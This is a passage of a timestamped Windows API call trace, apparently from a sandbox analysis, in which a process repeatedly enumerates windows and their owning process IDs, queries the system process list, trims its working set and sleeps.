[0287.921] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0287.921] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0287.921] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0287.921] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0287.922] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0287.922] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0287.922] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0287.922] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0287.922] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0287.922] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0287.922] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0287.922] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0287.922] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0287.923] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0287.923] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0287.923] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0287.923] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0287.923] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0287.923] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0287.923] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0287.923] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0287.923] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0287.924] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0287.924] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0287.924] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0287.924] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0287.924] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0287.924] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0287.924] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.924] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0287.924] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.924] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0287.924] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.925] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.925] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0287.925] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.925] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.925] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0287.925] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0287.925] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0287.925] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0287.925] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0287.925] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0287.925] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0287.926] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0287.926] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.926] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.926] GetWindowThreadProcessId (in: hWnd=0x1033c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0287.926] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0287.926] GetWindowThreadProcessId (in: hWnd=0x10332, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0287.926] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0287.926] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0287.926] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0287.926] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.926] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0287.927] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0287.927] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0287.927] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0287.927] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0287.927] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0287.927] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0287.927] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0287.927] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0287.927] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0287.927] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0287.927] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0287.928] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0287.928] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0287.928] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0287.928] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0287.928] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0287.928] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0287.928] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0287.928] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0287.928] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0287.928] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0287.928] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0287.929] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0287.929] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0287.929] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0287.929] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0287.929] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0287.929] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0287.929] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0287.929] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0287.929] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0287.929] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0287.929] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0287.930] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0287.931] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0287.931] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0287.931] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0287.931] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0287.931] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0287.931] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0287.931] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0287.931] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0287.931] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0287.931] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0287.932] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0287.932] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0287.932] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0287.932] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0287.933] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0287.933] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0287.933] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0287.933] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0287.933] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0287.933] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0287.933] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0287.933] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0287.933] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0287.933] GetWindowThreadProcessId (in: hWnd=0x10338, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0287.933] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0287.935] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0288.006] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0288.443] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11718) returned 0x0
[0288.471] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11718) returned 0x0
[0288.475] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11718) returned 0x0
[0288.478] EnumWindows (lpEnumFunc=0x1b1a2afc, lParam=0x0) returned 1
[0288.478] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0288.478] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.478] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.479] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.479] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.479] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0288.479] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.479] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0288.479] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0288.479] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.479] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.479] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.480] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.480] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.480] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.480] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.480] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.480] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0288.480] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.480] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0288.481] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0288.481] GetWindowThreadProcessId (in: hWnd=0x300a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.481] GetWindow (hWnd=0x300a8, uCmd=0x4) returned 0x102e0
[0288.481] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.481] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0288.481] IsWindowVisible (hWnd=0x10320) returned 0
[0288.481] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.481] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0288.481] IsWindowVisible (hWnd=0x1031c) returned 0
[0288.481] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.481] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0288.481] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.481] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0288.481] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.482] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0288.482] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.482] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0288.482] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.482] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0288.482] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0288.482] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0288.482] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.482] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0288.482] IsWindowVisible (hWnd=0x102e0) returned 0
[0288.482] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.482] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0288.483] IsWindowVisible (hWnd=0x102e6) returned 0
[0288.483] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.483] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0288.483] IsWindowVisible (hWnd=0x102e2) returned 0
[0288.483] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.483] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0288.483] IsWindowVisible (hWnd=0x102de) returned 0
[0288.483] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0288.551] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0288.551] IsWindowVisible (hWnd=0x102dc) returned 0
